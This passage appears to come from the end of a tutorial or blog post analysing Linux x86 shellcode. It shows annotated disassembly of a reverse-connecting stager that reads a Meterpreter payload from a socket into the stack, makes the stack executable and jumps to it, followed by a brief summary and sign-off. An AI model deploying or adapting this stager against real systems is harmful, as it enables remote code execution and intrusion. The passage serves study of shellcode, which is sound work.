   0x0804a09c <+92>:	test   eax,eax
   0x0804a09e <+94>:	js     0x804a0b0 <shellcode+112>   ; exit on failed SYS_MPROTECT call

   ; Part 5
   0x0804a0a0 <+96>:	pop    ebx                         ; socket file descriptor
   0x0804a0a1 <+97>:	mov    ecx,esp                     
   0x0804a0a3 <+99>:	cdq    
   0x0804a0a4 <+100>:	mov    dh,0xc
   0x0804a0a6 <+102>:	mov    al,0x3
   0x0804a0a8 <+104>:	int    0x80                        ; SYS_READ from EBX to ECX 
                                                           ; that points to buffer in Stack   
   0x0804a0aa <+106>:	test   eax,eax
   0x0804a0ac <+108>:	js     0x804a0b0 <shellcode+112>   ; exit on failed SYS_READ call
   0x0804a0ae <+110>:	jmp    ecx                         ; execute meterpreter payload

   ; Part 6
   0x0804a0b0 <+112>:	mov    eax,0x1
   0x0804a0b5 <+117>:	mov    ebx,0x1
   0x0804a0ba <+122>:	int    0x80                        ; SYS_EXIT
   0x0804a0bc <+124>:	add    BYTE PTR [eax],al

We have done it! This shellcode creates socket, tries to connect to remote host, sleeps if failed, but on success, it changes memory protection on Stack region, loads to this region meterpreter payload and executes it!

Conclusion

I am sorry for the first two shellcodes - they are really not so interesting. But the last one is amazing and I hope that you enjoyed it too!

Good Luck!

The end